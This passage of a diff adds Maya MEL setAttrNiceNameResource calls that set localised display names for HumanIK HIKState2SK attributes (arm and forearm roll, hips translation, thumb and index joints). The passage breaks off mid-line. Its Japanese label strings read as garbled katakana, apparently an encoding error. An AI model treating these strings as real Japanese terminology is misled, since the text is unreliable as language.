+setAttrNiceNameResource( "HIKState2SK", "RightLegRollISx", "モメヘネイ犹 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollISy", "モメヘネイ犹 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollISz", "モメヘネイ犹 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPreR", "モメヘネイ犹ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPreRx", "モメヘネイ犹ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPreRy", "モメヘネイ犹ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPreRz", "モメヘネイ犹ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPostR", "モメヘネイ犹ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPostRx", "モメヘネイ犹ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPostRy", "モメヘネイ犹ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPostRz", "モメヘネイ犹ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollT", "ラアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollTx", "ラアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollTy", "ラアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollTz", "ラアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollR", "ラアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollRx", "ラアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollRy", "ラアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollRz", "ラアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollS", "ラアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollSx", "ラアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollSy", "ラアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollSz", "ラアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPGX", "ラアロイ犹 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollROrder", "ラアロイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollSC", "ラアロイ犹 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollIS", "ラアロイ犹 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollISx", "ラアロイ犹 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollISy", "ラアロイ犹 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollISz", "ラアロイ犹 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPreR", "ラアロイ犹ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPreRx", "ラアロイ犹ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPreRy", "ラアロイ犹ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPreRz", "ラアロイ犹ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPostR", "ラアロイ犹ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPostRx", "ラアロイ犹ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPostRy", "ラアロイ犹ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRollPostRz", "ラアロイ犹ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollT", "ラヌーアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollTx", "ラヌーアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollTy", "ラヌーアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollTz", "ラヌーアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollR", "ラヌーアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollRx", "ラヌーアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollRy", "ラヌーアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollRz", "ラヌーアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollS", "ラヌーアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollSx", "ラヌーアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollSy", "ラヌーアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollSz", "ラヌーアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPGX", "ラヌーアロイ犹 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollROrder", "ラヌーアロイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollSC", "ラヌーアロイ犹 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollIS", "ラヌーアロイ犹 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollISx", "ラヌーアロイ犹 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollISy", "ラヌーアロイ犹 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollISz", "ラヌーアロイ犹 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPreR", "ラヌーアロイ犹ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPreRx", "ラヌーアロイ犹ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPreRy", "ラヌーアロイ犹ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPreRz", "ラヌーアロイ犹ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPostR", "ラヌーアロイ犹ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPostRx", "ラヌーアロイ犹ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPostRy", "ラヌーアロイ犹ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRollPostRz", "ラヌーアロイ犹ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollT", "モメアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollTx", "モメアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollTy", "モメアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollTz", "モメアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollR", "モメアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollRx", "モメアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollRy", "モメアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollRz", "モメアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollS", "モメアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollSx", "モメアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollSy", "モメアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollSz", "モメアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPGX", "モメアロイ犹 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollROrder", "モメアロイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollSC", "モメアロイ犹 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollIS", "モメアロイ犹 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollISx", "モメアロイ犹 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollISy", "モメアロイ犹 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollISz", "モメアロイ犹 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPreR", "モメアロイ犹ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPreRx", "モメアロイ犹ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPreRy", "モメアロイ犹ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPreRz", "モメアロイ犹ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPostR", "モメアロイ犹ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPostRx", "モメアロイ犹ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPostRy", "モメアロイ犹ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRollPostRz", "モメアロイ犹ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollT", "モメヌーアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollTx", "モメヌーアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollTy", "モメヌーアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollTz", "モメヌーアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollR", "モメヌーアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollRx", "モメヌーアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollRy", "モメヌーアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollRz", "モメヌーアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollS", "モメヌーアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollSx", "モメヌーアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollSy", "モメヌーアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollSz", "モメヌーアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPGX", "モメヌーアロイ犹 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollROrder", "モメヌーアロイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollSC", "モメヌーアロイ犹 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollIS", "モメヌーアロイ犹 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollISx", "モメヌーアロイ犹 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollISy", "モメヌーアロイ犹 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollISz", "モメヌーアロイ犹 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPreR", "モメヌーアロイ犹ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPreRx", "モメヌーアロイ犹ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPreRy", "モメヌーアロイ犹ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPreRz", "モメヌーアロイ犹ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPostR", "モメヌーアロイ犹ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPostRx", "モメヌーアロイ犹ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPostRy", "モメヌーアロイ犹ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRollPostRz", "モメヌーアロイ犹ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationT", "ナイソニスメニニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationTx", "ナイソニスメニニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationTy", "ナイソニスメニニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationTz", "ナイソニスメニニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationR", "ナイソニスメニミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationRx", "ナイソニスメニミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationRy", "ナイソニスメニミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationRz", "ナイソニスメニミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationS", "ナイソニスメニヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationSx", "ナイソニスメニヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationSy", "ナイソニスメニヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationSz", "ナイソニスメニヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPGX", "ナイソニスメニ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationROrder", "ナイソニスメニミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationSC", "ナイソニスメニ SC" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationIS", "ナイソニスメニ IS" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationISx", "ナイソニスメニ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationISy", "ナイソニスメニ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationISz", "ナイソニスメニ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPreR", "ナイソニスメニミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPreRx", "ナイソニスメニミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPreRy", "ナイソニスメニミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPreRz", "ナイソニスメニミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPostR", "ナイソニスメニミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPostRx", "ナイソニスメニミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPostRy", "ナイソニスメニミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTranslationPostRz", "ナイソニスメニミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1T", "ラハヨトエヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Tx", "ラハヨトエヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Ty", "ラハヨトエヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Tz", "ラハヨトエヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1R", "ラハヨトエヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Rx", "ラハヨトエヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Ry", "ラハヨトエヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Rz", "ラハヨトエヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1S", "ラハヨトエヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Sx", "ラハヨトエヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Sy", "ラハヨトエヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1Sz", "ラハヨトエヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PGX", "ラハヨトエヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1ROrder", "ラハヨトエヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1SC", "ラハヨトエヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1IS", "ラハヨトエヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1ISx", "ラハヨトエヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1ISy", "ラハヨトエヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1ISz", "ラハヨトエヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PreR", "ラハヨトエヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PreRx", "ラハヨトエヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PreRy", "ラハヨトエヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PreRz", "ラハヨトエヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PostR", "ラハヨトエヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PostRx", "ラハヨトエヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PostRy", "ラハヨトエヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb1PostRz", "ラハヨトエヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2T", "ラハヨトエヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Tx", "ラハヨトエヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Ty", "ラハヨトエヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Tz", "ラハヨトエヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2R", "ラハヨトエヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Rx", "ラハヨトエヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Ry", "ラハヨトエヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Rz", "ラハヨトエヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2S", "ラハヨトエヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Sx", "ラハヨトエヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Sy", "ラハヨトエヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2Sz", "ラハヨトエヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PGX", "ラハヨトエヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2ROrder", "ラハヨトエヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2SC", "ラハヨトエヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2IS", "ラハヨトエヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2ISx", "ラハヨトエヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2ISy", "ラハヨトエヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2ISz", "ラハヨトエヨク2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PreR", "ラハヨトエヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PreRx", "ラハヨトエヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PreRy", "ラハヨトエヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PreRz", "ラハヨトエヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PostR", "ラハヨトエヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PostRx", "ラハヨトエヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PostRy", "ラハヨトエヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb2PostRz", "ラハヨトエヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3T", "ラハヨトエヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Tx", "ラハヨトエヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Ty", "ラハヨトエヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Tz", "ラハヨトエヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3R", "ラハヨトエヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Rx", "ラハヨトエヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Ry", "ラハヨトエヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Rz", "ラハヨトエヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3S", "ラハヨトエヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Sx", "ラハヨトエヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Sy", "ラハヨトエヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3Sz", "ラハヨトエヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PGX", "ラハヨトエヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3ROrder", "ラハヨトエヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3SC", "ラハヨトエヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3IS", "ラハヨトエヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3ISx", "ラハヨトエヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3ISy", "ラハヨトエヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3ISz", "ラハヨトエヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PreR", "ラハヨトエヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PreRx", "ラハヨトエヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PreRy", "ラハヨトエヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PreRz", "ラハヨトエヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PostR", "ラハヨトエヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PostRx", "ラハヨトエヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PostRy", "ラハヨトエヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb3PostRz", "ラハヨトエヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4T", "ラハヨトエヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Tx", "ラハヨトエヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Ty", "ラハヨトエヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Tz", "ラハヨトエヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4R", "ラハヨトエヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Rx", "ラハヨトエヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Ry", "ラハヨトエヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Rz", "ラハヨトエヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4S", "ラハヨトエヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Sx", "ラハヨトエヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Sy", "ラハヨトエヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4Sz", "ラハヨトエヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PGX", "ラハヨトエヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4ROrder", "ラハヨトエヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4SC", "ラハヨトエヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4IS", "ラハヨトエヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4ISx", "ラハヨトエヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4ISy", "ラハヨトエヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4ISz", "ラハヨトエヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PreR", "ラハヨトエヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PreRx", "ラハヨトエヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PreRy", "ラハヨトエヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PreRz", "ラハヨトエヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PostR", "ラハヨトエヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PostRx", "ラハヨトエヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PostRy", "ラハヨトエヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandThumb4PostRz", "ラハヨトエヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1T", "ラハヨハウヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Tx", "ラハヨハウヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Ty", "ラハヨハウヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Tz", "ラハヨハウヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1R", "ラハヨハウヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Rx", "ラハヨハウヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Ry", "ラハヨハウヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Rz", "ラハヨハウヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1S", "ラハヨハウヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Sx", "ラハヨハウヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Sy", "ラハヨハウヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1Sz", "ラハヨハウヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PGX", "ラハヨハウヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1ROrder", "ラハヨハウヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1SC", "ラハヨハウヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1IS", "ラハヨハウヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1ISx", "ラハヨハウヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", 